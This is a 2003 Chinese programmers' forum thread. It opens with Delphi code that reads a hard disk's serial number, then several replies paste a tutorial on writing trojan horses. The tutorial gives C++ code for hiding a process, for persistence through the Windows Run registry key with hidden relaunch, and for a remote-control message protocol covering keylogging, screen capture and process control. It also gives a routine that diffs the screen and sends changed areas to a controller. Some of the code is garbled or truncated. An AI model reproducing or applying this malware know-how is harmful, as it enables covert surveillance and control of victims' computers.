  function   GetIdeDiskSerialNumber   :   String;    
  type    
  TSrbIoControl   =   packed   record    
  HeaderLength   :   ULONG;    
  Signature   :   Array[0..7]   of   Char;    
  Timeout   :   ULONG;    
  ControlCode   :   ULONG;    
  ReturnCode   :   ULONG;    
  Length   :   ULONG;    
  end;    
  SRB_IO_CONTROL   =   TSrbIoControl;    
  PSrbIoControl   =   ^TSrbIoControl;    
   
  TIDERegs   =   packed   record    
  bFeaturesReg   :   Byte;   //   Used   for   specifying   SMART   "commands".    
  bSectorCountReg   :   Byte;   //   IDE   sector   count   register    
  bSectorNumberReg   :   Byte;   //   IDE   sector   number   register    
  bCylLowReg   :   Byte;   //   IDE   low   order   cylinder   value    
  bCylHighReg   :   Byte;   //   IDE   high   order   cylinder   value    
  bDriveHeadReg   :   Byte;   //   IDE   drive/head   register    
  bCommandReg   :   Byte;   //   Actual   IDE   command.    
  bReserved   :   Byte;   //   reserved.   Must   be   zero.    
  end;    
  IDEREGS   =   TIDERegs;    
  PIDERegs   =   ^TIDERegs;    
   
  TSendCmdInParams   =   packed   record    
  cBufferSize   :   DWORD;    
  irDriveRegs   :   TIDERegs;    
  bDriveNumber   :   Byte;    
  bReserved   :   Array[0..2]   of   Byte;    
  dwReserved   :   Array[0..3]   of   DWORD;    
  bBuffer   :   Array[0..0]   of   Byte;    
  end;    
  SENDCMDINPARAMS   =   TSendCmdInParams;    
  PSendCmdInParams   =   ^TSendCmdInParams;    
   
  TIdSector   =   packed   record    
  wGenConfig   :   Word;    
  wNumCyls   :   Word;    
  wReserved   :   Word;    
  wNumHeads   :   Word;    
  wBytesPerTrack   :   Word;    
  wBytesPerSector   :   Word;    
  wSectorsPerTrack   :   Word;    
  wVendorUnique   :   Array[0..2]   of   Word;    
  sSerialNumber   :   Array[0..19]   of   Char;    
  wBufferType   :   Word;    
  wBufferSize   :   Word;    
  wECCSize   :   Word;    
  sFirmwareRev   :   Array[0..7]   of   Char;    
  sModelNumber   :   Array[0..39]   of   Char;    
  wMoreVendorUnique   :   Word;    
  wDoubleWordIO   :   Word;    
  wCapabilities   :   Word;    
  wReserved1   :   Word;    
  wPIOTiming   :   Word;    
  wDMATiming   :   Word;    
  wBS   :   Word;    
  wNumCurrentCyls   :   Word;    
  wNumCurrentHeads   :   Word;    
  wNumCurrentSectorsPerTrack   :   Word;    
  ulCurrentSectorCapacity   :   ULONG;    
  wMultSectorStuff   :   Word;    
  ulTotalAddressableSectors   :   ULONG;    
  wSingleWordDMA   :   Word;    
  wMultiWordDMA   :   Word;    
  bReserved   :   Array[0..127]   of   Byte;    
  end;    
  PIdSector   =   ^TIdSector;    
   
  const    
  IDE_ID_FUNCTION   =   $EC;    
  IDENTIFY_BUFFER_SIZE   =   512;    
  DFP_RECEIVE_DRIVE_DATA   =   $0007c088;    
  IOCTL_SCSI_MINIPORT   =   $0004d008;    
  IOCTL_SCSI_MINIPORT_IDENTIFY   =   $001b0501;    
  DataSize   =   sizeof(TSendCmdInParams)-1+IDENTIFY_BUFFER_SIZE;    
  BufferSize   =   SizeOf(SRB_IO_CONTROL)+DataSize;    
  W9xBufferSize   =   IDENTIFY_BUFFER_SIZE+16;    
  var    
  hDevice   :   THandle;    
  cbBytesReturned   :   DWORD;    
  pInData   :   PSendCmdInParams;    
  pOutData   :   Pointer;   //   PSendCmdOutParams    
  Buffer   :   Array[0..BufferSize-1]   of   Byte;    
  srbControl   :   TSrbIoControl   absolute   Buffer;    
   
  procedure   ChangeByteOrder(   var   Data;   Size   :   Integer   );    
  var   ptr   :   PChar;    
  i   :   Integer;    
  c   :   Char;    
  begin    
  ptr   :=   @Data;    
  for   i   :=   0   to   (Size   shr   1)-1   do    
  begin    
  c   :=   ptr^;    
  ptr^   :=   (ptr+1)^;    
  (ptr+1)^   :=   c;    
  Inc(ptr,2);    
  end;    
  end;    
   
  begin    
  Result   :=   '';    
  FillChar(Buffer,BufferSize,#0);    
  if   Win32Platform=VER_PLATFORM_WIN32_NT   then    
  begin   //   Windows   NT,   Windows   2000    
  //   Get   SCSI   port   handle    
  hDevice   :=   CreateFile(   '\\.\Scsi0:',    
  GENERIC_READ   or   GENERIC_WRITE,    
  FILE_SHARE_READ   or   FILE_SHARE_WRITE,    
  nil,   OPEN_EXISTING,   0,   0   );    
  if   hDevice=INVALID_HANDLE_VALUE   then   Exit;    
  try    
  srbControl.HeaderLength   :=   SizeOf(SRB_IO_CONTROL);    
  System.Move('SCSIDISK',srbControl.Signature,8);    
  srbControl.Timeout   :=   2;    
  srbControl.Length   :=   DataSize;    
  srbControl.ControlCode   :=   IOCTL_SCSI_MINIPORT_IDENTIFY;    
  pInData   :=   PSendCmdInParams(PChar(@Buffer)    
  +SizeOf(SRB_IO_CONTROL));    
  pOutData   :=   pInData;    
  with   pInData^   do    
  begin    
  cBufferSize   :=   IDENTIFY_BUFFER_SIZE;    
  bDriveNumber   :=   0;    
  with   irDriveRegs   do    
  begin    
  bFeaturesReg   :=   0;    
  bSectorCountReg   :=   1;    
  bSectorNumberReg   :=   1;    
  bCylLowReg   :=   0;    
  bCylHighReg   :=   0;    
  bDriveHeadReg   :=   $A0;    
  bCommandReg   :=   IDE_ID_FUNCTION;    
  end;    
  end;    
  if   not   DeviceIoControl(   hDevice,   IOCTL_SCSI_MINIPORT,    
  @Buffer,   BufferSize,   @Buffer,   BufferSize,    
  cbBytesReturned,   nil   )   then   Exit;    
  finally    
  CloseHandle(hDevice);    
  end;    
  end    
  else    
  begin   //   Windows   95   OSR2,   Windows   98    
  hDevice   :=   CreateFile(   '\\.\SMARTVSD',   0,   0,   nil,    
  CREATE_NEW,   0,   0   );    
  if   hDevice=INVALID_HANDLE_VALUE   then   Exit;    
  try    
  pInData   :=   PSendCmdInParams(@Buffer);    
  pOutData   :=   @pInData^.bBuffer;    
  with   pInData^   do    
  begin    
  cBufferSize   :=   IDENTIFY_BUFFER_SIZE;    
  bDriveNumber   :=   0;    
  with   irDriveRegs   do    
  begin    
  bFeaturesReg   :=   0;    
  bSectorCountReg   :=   1;    
  bSectorNumberReg   :=   1;    
  bCylLowReg   :=   0;    
  bCylHighReg   :=   0;    
  bDriveHeadReg   :=   $A0;    
  bCommandReg   :=   IDE_ID_FUNCTION;    
  end;    
  end;    
  if   not   DeviceIoControl(   hDevice,   DFP_RECEIVE_DRIVE_DATA,    
  pInData,   SizeOf(TSendCmdInParams)-1,   pOutData,    
  W9xBufferSize,   cbBytesReturned,   nil   )   then   Exit;    
  finally    
  CloseHandle(hDevice);    
  end;    
  end;    
  with   PIdSector(PChar(pOutData)+16)^   do    
  begin    
  ChangeByteOrder(sSerialNumber,SizeOf(sSerialNumber));    
  SetString(Result,sSerialNumber,SizeOf(sSerialNumber));    
  end;    
  end;    
   
     
     
  Top

9 楼nn1300(小囡)回复于 2003-09-26 12:47:24 得分 0

upupupupupupTop

10 楼answermyquestion(昨晚我做梦了)回复于 2003-09-26 12:50:41 得分 0

强啊楼主,不过不知道是否可用Top

11 楼upingking()回复于 2003-09-26 13:06:10 得分 0

upTop

12 楼b51(-)回复于 2003-09-26 13:50:30 得分 0

hei   xuexi   xuexiTop

13 楼coolfilm(苏飞工作室)回复于 2003-09-26 14:24:23 得分 0

1、木马程序的分类    
   
  木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有    
  什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代    
  表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利    
  用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采    
  用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木    
  马程序的隐藏,甚至在Windows   NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很    
  快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。    
   
  2.木马程序的隐藏技术    
   
  木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木    
  马是如何实现隐藏的。    
   
  说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。    
   
    进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时    
  ,每个进程,分别对应了一个不同的PID(Progress   ID,   进程标识符)这个进程会被系统分    
  配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。    
  线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之    
  间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。    
   
    服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表    
  中,但是,在Windows   NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启    
  动运行。    
   
    想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程    
  仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程    
  或者服务的方式工作。    
   
    伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以    
  了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt    
  +Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Wi    
  ndows   NT,Windows   2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪    
  隐藏的方法就真的不能用在Windows   NT/2000下了吗?当然还有办法,那就是API的拦截技术    
  ,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进    
  程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接    
  跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOu    
  tA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏    
  上。    
   
    当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般    
  进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚    
  刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成    
  一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序    
  的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底    
  隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。    
   
    出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂    
  ,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木    
  马进程的隐藏与检测》。    
   
  WINAPI   WinMain(HINSTANCE,   HINSTANCE,   LPSTR,   int)    
  {    
  try    
  {    
  DWORD   dwVersion   =   GetVersion();   //取得Windows的版本号    
  if   (dwVersion   >=   0x80000000)   //   Windows   9x隐藏任务列表    
  {    
  int   (CALLBACK   *rsp)(DWORD,DWORD);    
  HINSTANCE   dll=LoadLibrary("KERNEL32.DLL");   //装入KERNEL32.D    
  LL    
  rsp=(int(CALLBACK   *)(DWORD,DWORD))GetProcAddress(dll,"Regist    
  erServiceProcess");   //找到RegisterServiceProcess的入口    
  rsp(NULL,1);   //注册服务    
  FreeLibrary(dll);   //释放DLL模块    
  }    
  }    
  catch   (Exception   &exception)   //处理异常事件    
  {    
  //处理异常事件    
  }    
  return   0;    
  }    
   
  3、程序的自加载运行技术    
   
    让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径    
  到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法    
  外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或    
  者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,    
  真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\    
  Windows\CurrentVersions\Run键值来实现自启动的程序:    
   
    自装载部分:    
   
  HKEY   hkey;    
  AnsiString   NewProgramName=AnsiString(sys)+AnsiString("\\")+PName;    
  unsigned   long   k;    
  k=REG_OPENED_EXISTING_KEY;    
  RegCreateKeyEx(HKEY_LOCAL_MACHINE,    
  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",    
  0L,    
  NULL,    
  REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,    
  NULL,    
  &hkey,&k);    
  RegSetValueEx(hkey,    
  "BackGroup",    
  0,    
  REG_SZ,    
  NewProgramName.c_str(),    
  NewProgramName.Length());    
  RegCloseKey(hkey);    
  if   (int(ShellExecute(Handle,    
  "open",    
  NewProgramName.c_str(),    
  NULL,    
  NULL,    
  SW_HIDE))>32)    
  {    
  WantClose=true;    
  Close();    
  }    
  else    
  {    
  HKEY   hkey;    
  unsigned   long   k;    
  k=REG_OPENED_EXISTING_KEY;    
  long   a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,    
  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",    
  0,    
  NULL,    
  REG_OPTION_NON_VOLATILE,    
  KEY_SET_VALUE,NULL,    
  &hkey,&k);    
  RegSetValueEx(hkey,    
  "BackGroup",    
  0,    
  REG_SZ,    
  ProgramName.c_str(),    
  ProgramName.Length());    
  int   num=0;    
  char   str[20];    
  DWORD   lth=20;    
  DWORD   type;    
  char   strv[255];    
  DWORD   vl=254;    
  DWORD   Suc;    
  do{    
  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,    
  (DWORD)num,str,    
  NULL,    
  &type,    
  strv,&vl);    
  if   (strcmp(str,"BGroup")==0)    
  {    
  DeleteFile(AnsiString(strv));    
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");    
  break;    
  }    
   
  }while(Suc==   ERROR_SUCCESS);    
  RegCloseKey(hkey);    
  }    
   
  自装载程序的卸载代码:    
   
  int   num;    
  char   str2[20];    
  DWORD   lth=20;    
  DWORD   type;    
  char   strv[255];    
  DWORD   vl=254;    
  DWORD   Suc;    
  do{    
  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,    
  (DWORD)num,    
  str,    
  NULL,    
  &type,    
  strv,    
  &vl);    
  if   (strcmp(str,"BGroup")==0)    
  {    
  DeleteFile(AnsiString(strv));    
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");    
  break;    
  }    
  }while(Suc==   ERROR_SUCCESS)    
  HKEY   hkey;    
  unsigned   long   k;    
  k=REG_OPENED_EXISTING_KEY;    
  RegCreateKeyEx(HKEY_LOCAL_MACHINE,    
  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",    
  0,    
  NULL,    
  REG_OPTION_NON_VOLATILE,    
  KEY_SET_VALUE,NULL,    
  &hkey,    
  &k);    
  do{    
  Suc=RegEnumValue(hkey,(DWORD)num,str,   if   (strcmp(str,"BackGroup")    
  ==0)    
  {    
  DeleteFile(AnsiString(strv));    
  RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");    
  break;    
  }    
  }while(Suc==   ERROR_SUCCESS)    
  RegCloseKey(hkey);    
   
  其中自装载部分使用C++   Builder可以这样写,会比较简化:    
   
  TRegistry   &   regKey   =   *new   TRegistry();    
  regKey.RootKey=HKEY_LOCAL_MACHINE;    
  regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);    
  if(!regKey.ValueExists("Interbase   Server"))    
  {    
  regKey.WriteString("Interbase   Server",    
  "D:\\Program   Files\\Borland\\IntrBase\\BIN\\ibserver.exe");    
  }    
  regKey.CloseKey();    
  delete   ?Key;Top

14 楼coolfilm(苏飞工作室)回复于 2003-09-26 14:26:23 得分 0

4、木马程序的建立连接的隐藏    
   
    木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常    
  是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但    
  是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令    
  行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。    
   
  C:\Documents   and   Settings\bigball>netstat   -n    
   
  Active   Connections    
   
  Proto   Local   Address   Foreign   Address   State    
  TCP   192.0.0.9:1032   64.4.13.48:1863   ESTABLISHED    
  TCP   192.0.0.9:1112   61.141.212.95:80   ESTABLISHED    
  TCP   192.0.0.9:1135   202.130.239.223:80   ESTABLISHED    
  TCP   192.0.0.9:1142   202.130.239.223:80   ESTABLISHED    
  TCP   192.0.0.9:1162   192.0.0.8:139   TIME_WAIT    
  TCP   192.0.0.9:1169   202.130.239.159:80   ESTABLISHED    
  TCP   192.0.0.9:1170   202.130.239.133:80   TIME_WAIT    
   
  C:\Documents   and   Settings\bigball>netstat   -a    
   
  Active   Connections    
   
  Proto   Local   Address   Foreign   Address   State    
  TCP   Liumy:echo   Liumy:0   LISTENING    
  TCP   Liumy:discard   Liumy:0   LISTENING    
  TCP   Liumy:daytime   Liumy:0   LISTENING    
  TCP   Liumy:qotd   Liumy:0   LISTENING    
  TCP   Liumy:chargen   Liumy:0   LISTENING    
  TCP   Liumy:epmap   Liumy:0   LISTENING    
  TCP   Liumy:microsoft-ds   Liumy:0   LISTENING    
  TCP   Liumy:1025   Liumy:0   LISTENING    
  TCP   Liumy:1026   Liumy:0   LISTENING    
  TCP   Liumy:1031   Liumy:0   LISTENING    
  TCP   Liumy:1032   Liumy:0   LISTENING    
  TCP   Liumy:1112   Liumy:0   LISTENING    
  TCP   Liumy:1135   Liumy:0   LISTENING    
  TCP   Liumy:1142   Liumy:0   LISTENING    
  TCP   Liumy:1801   Liumy:0   LISTENING    
  TCP   Liumy:3372   Liumy:0   LISTENING    
  TCP   Liumy:3389   Liumy:0   LISTENING    
  TCP   Liumy:netbios-ssn   Liumy:0   LISTENING    
  TCP   Liumy:1028   Liumy:0   LISTENING    
  TCP   Liumy:1032   msgr-ns19.msgr.hotmail.com:1863   ESTAB    
  TCP   Liumy:1112   szptt61.141.szptt.net.cn:http   ESTABLI    
  TCP   Liumy:1135   202.130.239.223:http   ESTABLISHED    
  TCP   Liumy:1142   202.130.239.223:http   ESTABLISHED    
  TCP   Liumy:1162   W3I:netbios-ssn   TIME_WAIT    
  TCP   Liumy:1170   202.130.239.133:http   TIME_WAIT    
  TCP   Liumy:2103   Liumy:0   LISTENING    
  TCP   Liumy:2105   Liumy:0   LISTENING    
  TCP   Liumy:2107   Liumy:0   LISTENING    
  UDP   Liumy:echo   *:*    
  UDP   Liumy:discard   *:*    
  UDP   Liumy:daytime   *:*    
  UDP   Liumy:qotd   *:*    
  UDP   Liumy:chargen   *:*    
  UDP   Liumy:epmap   *:*    
  UDP   Liumy:snmp   *:*    
  UDP   Liumy:microsoft-ds   *:*    
  UDP   Liumy:1027   *:*    
  UDP   Liumy:1029   *:*    
  UDP   Liumy:3527   *:*    
  UDP   Liumy:4000   *:*    
  UDP   Liumy:4001   *:*    
  UDP   Liumy:1033   *:*    
  UDP   Liumy:1148   *:*    
  UDP   Liumy:netbios-ns   *:*    
  UDP   Liumy:netbios-dgm   *:*    
  UDP   Liumy:isakmp   *:*    
   
    但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并    
  端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起    
  来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马    
  端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而    
  达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet   Control   Message   Protocol)    
  协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很    
  多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,    
  从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网    
  络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:    
   
   
  5、发送数据的组织方法    
   
    关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,    
  以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木    
  马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包    
  装一些协议:    
   
  typedef   struct{   //定义消息结构    
  //char   ip[20];    
  char   Type;   //消息种类    
  char   Password[20];   //密码    
  int   CNum;   //消息操作号    
  //int   Length;   //消息长度    
  }Msg;    
  #define   MsgLen   sizeof(Msg)    
  //-------------------------------------------    
  //对话框数据包定义:Dlg_Msg_Type.h    
  //-------------------------------------------    
  //定义如下消息类型:    
  #define   MsgDlgCommon   4//连接事件    
  #define   MsgDlgSend   5//发送完成事件    
  //消息结构    
  typedef   struct{    
  char   Name[20];//对话框标题    
  char   Msg[256];//对话框消息内容    
  }MsgDlgUint;    
  #define   MsgDlgLen   sizeof(MsgDlgUint)//消息单元长度    
   
  //------------------------------------------    
  //聊天数据包定义:Chat_Msg_Type.h    
  //------------------------------------------    
  //定义如下消息类型:    
  #define   MsgChatCommon   0//连接事件    
  #define   MsgChatConnect   1//接入事件    
  #define   MsgChatEscept   2//结束事件    
  #define   MsgChatReceived   16//确认对话内容收到    
  //消息结构    
  typedef   struct{    
  char   ClientName[20];//Client自定义的名称    
  char   Msg[256];//发送的消息    
  }MsgChatUint;    
  #define   MsgChatLen   sizeof(MsgChatUint)//消息单元长度    
   
   
  //------------------------------------------    
  //重启数据包定义:Reboot_Msg_Type.h    
  //------------------------------------------    
  //定义如下消息类型:    
  #define   MsgReBoot   15//重启事件    
   
  //------------------------------------------    
  //目录结构请求数据包定义:Dir_Msg_Type.h    
  //------------------------------------------    
  //定义如下消息类型:    
  #define   MsgGetDirInfo   17    
  #define   MsgReceiveGetDirInfo   18    
  typedef   struct{    
  char   Dir[4096];//你要的目录名    
  }MsgDirUint;    
  #define   MsgDirUintLen   sizeof(MsgDirUint)    
   
  //   TCP的Msg    
  typedef   struct{   //定义消息结构    
  char   SType;   //消息种类    
  char   SPassword[20];   //密码    
  //int   SNum;   //消息操作号    
  char   *AllMsg;    
  }SMsg;    
  #define   SMsgLen   sizeof(SMsg)    
   
  #define   MSGListProgram   19    
  #define   MSGFlyMouse   21    
  #define   MSGGoWithMouse   22    
  #define   MSGSaveKey   23    
  #define   MSGTracekey   24    
  #define   MsgCopyScreen   25//tcp接收消息,udp请求消息    
  #define   MSGCopyWindow   26    
   
  //-------------------------    
  //鼠标指针隐藏和显示控制    
  //-------------------------    
  #define   MsgSetMouseStat   27//设置消息    
  #define   MsgMouseStat   28//成功消息    
  typedef   struct{    
  bool   mouseshow;    
  }MsgSetMouseStatUint;    
  #define   MsgSetMouseStatUintLen   sizeof(MsgSetMouseStatUint)    
   
   
  //-------------------------    
  //任务栏隐藏和显示控制    
  //-------------------------    
  #define   MsgSetTaskBarStat   29//设置消息    
  #define   MsgTaskBarStat   30//成功消息    
  typedef   struct{    
  bool   taskshow;    
  }MsgSetTaskBarStatUint;    
  #define   MsgSetTaskBarStatUintLen   sizeof(MsgSetTaskBarStatUint)    
   
  //-------------------------    
  //得到机器名    
  //-------------------------    
  #define   MsgGetNetBiosName   31//取请求    
  #define   MsgNetBiosName   32//回送机器名    
  typedef   struct{    
  char   NetBiosName[128];    
  }MsgNetBiosNameUint;    
  #define   MsgNetBiosNameUintLen   sizeof(MsgNetBiosNameUint)    
   
  //-------------------------    
  //关闭进程变更!    
  //-------------------------    
  #define   MsgSetProgramClose   33//关闭请求    
  #define   MsgProgramClosed   34//成功消息-----    
  typedef   struct{    
  char   ProgramName[4096];//old   struct   :   char   ProgramName[128];//要关闭的窗口的名字    
  }MsgSetProgramCloseUint;    
  #define   MsgSetProgramCloseUintLen   sizeof(MsgSetProgramCloseUint)    
   
  //-------------------------    
  //打开进程变更!    
  //-------------------------    
  #define   MsgSetProgramOpen   20//打开请求    
  #define   MsgProgramOpened   36//成功消息    
  typedef   struct{    
  char   ProgramName[4096];   //old   struct   :   char   ProgramName[128];//要打开的程序    
  的名字    
  bool   ProgramShow;//前台运行或后台运行程序(隐藏运行)    
  }MsgSetProgramOpenUint;    
  #define   MsgSetProgramOpenUintLen   sizeof(MsgSetProgramOpenUint)    
   
  #define   MsgGetHardWare   35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)    
   
   
  Top

15 楼coolfilm(苏飞工作室)回复于 2003-09-26 14:26:47 得分 0

上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗    
  的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的    
  密码定义,目地是为了防止非真实客户机的连接请求。SNum   为消息操作号,它    
  的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一    
  办法来校验消息的。    
   
    数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为    
  一个VOID类型的数据流,然后发送:    
   
  Msg   *msg=new   Msg;    
  TMemoryStream   *RData=new   TMemoryStream;    
  NMUDP1->ReadStream(RData);    
  RData->Read(msg,sizeof(Msg));    
  UdpConnect   *udpconnect=new   UdpConnect;    
  NetBiosName   *netbiosname=new   NetBiosName;    
  if(msg->CNum==CNumBak)    
  return;    
  else{    
  CNumBak=msg->CNum;    
  switch(msg->Type)    
  {    
  case   0://MsgUdpConnect    
  RData->Read(udpconnect,sizeof(UdpConnect));    
  checkuser(udpconnect->IsRight);    
  break;    
  case   1:    
  RData->Read(netbiosname,sizeof(NetBiosName));    
  AnsiString   jqm="机器名   ";    
  jqm+=(AnsiString)netbiosname->NetBiosName;    
  Memo2->Lines->Add(jqm);    
  break;    
  }    
  }    
   
  当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给    
  出事例代码:    
   
   
  NMUDP1->RemoteHost=FromIP;    
  NMUDP1->RemotePort=Port;    
  TMemoryStream   *RData=new   TMemoryStream;    
  NMUDP1->ReadStream(RData);    
  Msg   *msg=new   Msg;    
  RData->Read(msg,sizeof(Msg));    
  if(msg->CNum==CNumBak)    
  return;    
  else    
  {    
  CNumBak=msg->CNum;    
  switch(msg->Type)    
  {    
  case   0:    
  checkuser(msg->Password);    
  break;    
  case   1:    
  GetNetBiosName();    
  break;    
  case   2:    
  CheckHard();    
  break;    
  }    
  }    
   
    此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回    
  传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变    
  部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:    
   
   
  #define   MAXXCount   10   //屏幕X方向最多分割块数    
  #define   MAXYCount   5   //...   Y................    
  #define   DestNum   1000   //每块的偏移检测点最大个数    
  COLORREF   Colors[MAXXCount][MAXYCount][DestNum];    
  COLORREF   BakColors[MAXXCount]{MAXYCount][DestNum];    
  TPoint   Dests[DestNum];    
  int   Sw;    
  int   Sh;    
  int   xCount;    
  int   yCount;    
  int   ItemWidth;    
  int   ItemHeight;    
  int   Dnum;    
  int   Qlity;    
  //得到消息后执行:    
  //另外:接收到的数据包中分析出   Dnum   ,Qlity    
  //Dnum:偏移观测点数量    
  //Qlity:图象要求质量    
  __fastcall   TForm1::CopyScreen(int   DNum,int   Qlity){    
  ItemWidth=Sw/xCount;    
  ItemHeight=Sh/yCount;    
  Sw=Screen->Width;    
  Sh=Screen->Height;    
  xCount=(Sw>1000)?8:6;    
  yCount=(Sh>1000)?3:2;    
  for   (int   num1=0;num1   Dests[num1].x=random(ItemWidth);    
  Dests[num1].y=random(ItemHeight);    
  }    
  CatchScreen(DNum,Qlity);    
  }    
  //收到刷屏消息后只执行:    
  CatchScreen(DNum,Qlity);    
  __fastcall   TForm1::CatchScreen(int   DNum,int   Qlity){    
  //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据    
  //DNum:   偏移量   Qlity:图象质量    
  HDC   dc=GetDC(GetDesktopWindow());    
  Graphics::TBitmap   *bm=new   Graphics::TBitmap;    
  bm->Width=Sw;    
  bm->Height=Sh;    
  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);    
  int   num1,num2,num3;    
  int   nowx,nowy;    
  bool   Change;    
  bool   ItemChange[MAXXCount][MAXYCount];    
  for   (num1=0;num1   nowx=ItemWidth*num1;    
  for   (num2=0;num2   nowy=ItemHeight*num2;    
  Change=false;    
  for   (num3=0;num3   Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x]    
  [nowy+Dests[num3].y];    
  if   (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){    
  BakColors[num1][num2][num3]=Colors[num1][num2][num3];    
  ItemChange[num1][num2]=true;    
  }    
  }    
  }    
  }    
   
  int   CNum,MaxCNum;    
  int   ChangedNum=0;    
  TRect   *Rect;    
  int   num4;    
  int   MinSize=10000;    
  int   m;    
  TRect   MinRect;    
  Graphics::TBitmap   *bt2=new   Graphics::TBitmap;    
  TJPEGImage   *j=new   TJPEGImage;    
  //************************    
  j->Quality=Qlity;    
  //************************    
  CopyScreenUint   CopyScreen;    
  CopyScreenItemUint   CopyScreenItem;    
  TMemoryStream   *ms=new   TMemoryStream;    
  ms->Write(&TcpMsg,sizeof(TcpMsgUint));    
  ms->Write(&CopyScreen,sizeof(CopyScreenUint));    
  do{    
  for   (num1=0;num1   for   (num2=0;num2   for   (num3=num1+1;num3<=xCount;num3++){    
  MaxCNum=0;    
  for   (num4=num2+1;num4<=yCount;num4++){   //遍历所有矩形    
  CNum=GetChangedNum(TRect(num1,num2,num3,num4));    
  if   (CNum>MaxCNum)   MaxCNum=CNum;    
  m=(num3-num1)*(num4-num2);    
